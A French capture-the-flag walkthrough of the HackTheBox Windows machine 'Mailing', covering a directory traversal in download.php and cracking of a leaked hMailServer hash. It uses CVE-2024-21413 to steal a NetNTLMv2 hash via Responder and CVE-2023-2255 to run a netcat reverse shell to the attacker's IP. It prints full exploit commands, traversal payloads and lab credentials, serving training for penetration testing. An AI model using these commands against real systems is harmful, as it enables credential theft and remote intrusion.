
Si vous avez enchaîné les machines HackTheBox, Mailing est l'une de ces machines qui vous apprend réellement quelque chose. Elle est classée Easy, tourne sous Windows et combine plusieurs vulnérabilités du monde réel — une faille de type directory traversal, une fuite d'identifiants, CVE-2024-21413 et un exploit de macro LibreOffice. Parcourons-la étape par étape.
Par Mursalin
Si vous avez enchaîné les machines HackTheBox, Mailing fait partie de ces machines qui vous apprennent vraiment quelque chose. Elle est notée Facile, tourne sous Windows, et enchaîne plusieurs vulnérabilités réelles — une traversée de répertoire, une fuite d'identifiants, la CVE-2024-21413, et une exploitation de macro LibreOffice. Passons-la en revue étape par étape.
Comme toujours, on commence par un scan nmap pour voir ce qu'on a devant nous :
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
Les résultats révèlent pas mal de ports ouverts. Les points importants :
mailing.htb)L'empreinte OS correspond à Windows 10 ou Server 2019, et la version IIS confirme qu'on est au moins sur IIS 10. Je note aussi que la signature des messages SMB est activée mais non requise — je le garde de côté pour plus tard.
Les ports mail sont partout, mais ils nécessiteront probablement des identifiants. Le serveur web sur le port 80 est le point de départ évident.
Après avoir ajouté mailing.htb à /etc/hosts, le site ressemble à une société d'hébergement de messagerie basée sur hMailServer. Rien d'extraordinaire en surface — une section à propos, une section équipe avec trois noms (Ruy Alonso, Maya Bendito, Gregory Smith), et un bouton « Download Instructions ».
Le bouton de téléchargement pointe vers :
http://mailing.htb/download.php?file=instructions.pdf
Ce paramètre file= est immédiatement suspect. Testons-le.
J'ai lancé ffuf pour vérifier les sous-domaines — rien d'intéressant. Puis feroxbuster pour la force brute de répertoires, toujours rien de nouveau au-delà de download.php. Toute notre attention se porte donc sur ce seul endpoint.
Test du paramètre file pour une traversée de chemin :
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
Et ça fonctionne — on récupère le fichier hosts de Windows. L'application se contente littéralement de préfixer un chemin de base à ce qu'on lui donne et d'appeler file_get_contents(). Aucune assainissement, aucune restriction. Le code source de download.php le confirme quand on le lit directement :
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
Nous avons maintenant une lecture de fichier arbitraire sur une machine Windows. Servons-nous-en.
hMailServer stocke sa configuration dans hMailServer.ini. Après quelques recherches, le fichier se trouve à :
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
Lecture via notre traversée :
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
La sortie contient :
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
Deux hash MD5. Je les colle dans CrackStation :
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministratorNous avons donc le mot de passe administrateur pour hMailServer. L'essayer contre SMB avec l'utilisateur Windows administrator échoue — ce n'est pas un mot de passe de compte local, juste le mot de passe admin du service de messagerie. Mais il fonctionne pour l'authentification au service SMTP, ce qui est exactement ce dont nous avons besoin.
Maintenant, il faut obtenir un premier accès en tant qu'utilisateur réel. Le site mentionne que le client mail utilisé est Windows Mail (d'après le PDF d'instructions d'installation). Il est temps de chercher des vulnérabilités connues.
La CVE-2024-21413 est une vulnérabilité d'exécution de code à distance dans Microsoft Outlook et Windows Mail. Le défaut réside dans la façon dont les clients gèrent les URL de protocole file:// dans le corps des e-mails. Normalement, des restrictions de sécurité sont appliquées aux différents protocoles. Cependant, les chercheurs ont découvert que si une URL se termine par !quelquechose, ces restrictions sont silencieusement abandonnées. Lorsqu'un utilisateur ouvre ou même aperçoit un e-mail contenant un tel lien, le client tente automatiquement de s'authentifier auprès du serveur SMB de l'attaquant — fournissant un hash NetNTLMv2.
Il existe un PoC solide sur GitHub par xaitax. Je le clone et je l'exécute avec ces paramètres :
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
L'e-mail est envoyé avec succès. Pendant ce temps, j'ai Responder qui tourne sur ma machine d'attaque pour intercepter l'authentification entrante :
sudo /opt/Responder/Responder.py -I tun0
Une minute ou deux plus tard, le client de Maya ouvre l'e-mail et Responder capture son hash NetNTLMv2. Je le craque avec hashcat :
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
Mot de passe craqué : m4y4ngs4ri
Avec les identifiants de Maya, je me connecte via Evil-WinRM :
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
On est dedans. Le flag utilisateur se trouve sur le bureau de Maya.
Il est temps de chercher un chemin vers root. En fouillant le système, il y a un partage appelé Important Documents et LibreOffice est installé. C'est un fort indice vers la CVE-2023-2255.
La CVE-2023-2255 affecte les versions de LibreOffice antérieures à 7.4.7 et 7.5.3. Elle abuse des « floating frames » — des fichiers externes liés dans les documents .odt. La vulnérabilité fait que ces cadres se chargent sans demander la permission à l'utilisateur, et le contenu peut être une macro qui s'exécute au chargement du document.
Le PoC d'elweth-sec génère un .odt malveillant qui embarque une commande shell. La structure du document intègre une balise <script> dans content.xml qui se déclenche dès que LibreOffice ouvre le fichier.
Je génère un payload de reverse shell :
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
Ensuite, je téléverse le fichier .odt et nc64.exe sur le partage SMB Important Documents avec les identifiants de Maya :
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
Depuis le shell WinRM de Maya, je copie nc64.exe vers C:\ProgramData pour que la macro puisse le trouver :
copy "\Important Documents\nc64.exe" nc64.exe
Après une minute ou deux, quelque chose sur la machine ouvre le document (probablement une tâche planifiée automatisée), et je récupère un shell sur mon listener netcat :
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
Nous tournons en tant que localadmin — et le flag root est sur le Bureau.
La machine a été corrigée le 15 mai 2024 — seulement 11 jours après sa sortie — parce que le download.php d'origine utilisait en réalité include() de PHP au lieu de file_get_contents(). Cela transformait une simple lecture de fichier en une vulnérabilité complète d'inclusion locale de fichier (LFI), ce qui signifiait que tout code PHP dans un fichier lisible serait exécuté.
Le chemin non intentionnel consistait à empoisonner les journaux SMTP de hMailServer (en se connectant via telnet et en injectant du PHP dans la commande HELO), puis à inclure ce fichier journal via la LFI pour obtenir une exécution de code en tant que defaultapppool. De là, SeImpersonatePrivilege + GodPotato = SYSTEM. Un chemin complètement différent vers root.
La chaîne d'attaque sur Mailing se déroule ainsi :
download.phphMailServer.ini → craquage du hash MD5 adminCette machine fait un excellent travail en enchaînant de vraies CVE d'une manière qui semble crédible. Les étapes d'exploitation ne sont pas trop complexes, mais il faut comprendre ce qu'on fait à chaque étape. Certainement une machine à revoir si vous préparez l'OSCP.
Merci d'avoir lu ! Suivez-moi sur Medium pour plus de writeups HTB et de contenu CTF.
— Mursalin